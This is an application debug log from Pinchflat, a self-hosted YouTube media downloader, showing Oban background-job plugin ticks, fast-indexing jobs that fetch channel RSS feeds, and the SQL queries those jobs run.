{"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:57.276 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.791 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:27.277 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:57.278 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.792 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:27.279 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:57.280 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.793 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:27.281 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:57.282 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.794 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:27.283 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:57.285 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.795 [info] {"source":"oban","duration":329,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:27.286 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:57.287 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.796 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:27.288 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:57.289 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.797 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:02.504 [info] {"args":{"id":2},"id":724,"meta":{},"system_time":1784914262504149684,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:31:02.504 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1504.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:31:02.504 [debug] QUERY OK source="tasks" db=0.4ms idle=1007.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:31:02.505 [debug] QUERY OK source="settings" db=0.2ms idle=505.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:02.505 [debug] QUERY OK source="sources" db=0.3ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:31:02.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:31:02.505 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:02.505 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 17:31:02.633 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:31:02.634 [debug] QUERY OK source="media_items" db=0.2ms idle=128.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:31:02.634 [debug] QUERY OK source="media_items" db=0.2ms idle=129.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:31:02.635 [debug] QUERY OK source="tasks" db=0.0ms idle=129.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [727, 2, ~U[2026-07-24 17:31:02Z], ~U[2026-07-24 17:31:02Z]] 17:31:02.635 [info] {"args":{"id":2},"id":724,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130999,"event":"job:stop","queue_time":498770,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:31:02.635 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:31:12.514 [info] {"args":{"id":1},"id":725,"meta":{},"system_time":1784914272514239957,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:31:12.514 [debug] QUERY OK source="sources" db=0.1ms idle=514.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:31:12.514 [debug] QUERY OK source="settings" db=0.1ms idle=514.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:12.514 [debug] QUERY OK source="tasks" db=0.3ms idle=514.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:31:12.515 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:31:12.515 [debug] QUERY OK source="sources" db=0.1ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:31:12.515 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:12.515 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 17:31:12.557 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:31:12.559 [debug] QUERY OK source="media_items" db=1.8ms idle=42.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:31:12.562 [debug] QUERY OK source="media_items" db=3.3ms idle=44.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:31:12.563 [debug] QUERY OK source="tasks" db=0.0ms idle=48.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [728, 1, ~U[2026-07-24 17:31:12Z], ~U[2026-07-24 17:31:12Z]] 17:31:12.563 [info] {"args":{"id":1},"id":725,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":49435,"event":"job:stop","queue_time":86446,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:31:12.564 [debug] QUERY OK source="tasks" db=0.5ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:31:27.290 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:27.530 [info] {"args":{"id":3},"id":726,"meta":{},"system_time":1784914287530042074,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:31:27.530 [debug] QUERY OK source="sources" db=0.1ms idle=1530.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:31:27.530 [debug] QUERY OK source="settings" db=0.0ms idle=240.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:27.530 [debug] QUERY OK source="tasks" db=0.3ms idle=1007.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:31:27.530 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:31:27.530 [debug] QUERY OK source="sources" db=0.2ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:31:27.531 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:27.531 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 17:31:27.557 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:31:27.557 [debug] QUERY OK source="media_items" db=0.3ms idle=26.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:31:27.559 [debug] QUERY OK source="media_items" db=1.8ms idle=27.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:31:27.560 [debug] QUERY OK source="tasks" db=0.0ms idle=29.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [729, 3, ~U[2026-07-24 17:31:27Z], ~U[2026-07-24 17:31:27Z]] 17:31:27.560 [info] {"args":{"id":3},"id":726,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":30523,"event":"job:stop","queue_time":427649,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:31:27.561 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:31:57.291 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.798 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:27.293 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:57.295 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.798 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:27.296 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:57.297 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.800 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:27.298 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:57.299 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.800 [info] {"source":"oban","duration":144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:27.301 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:57.302 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.801 [info] 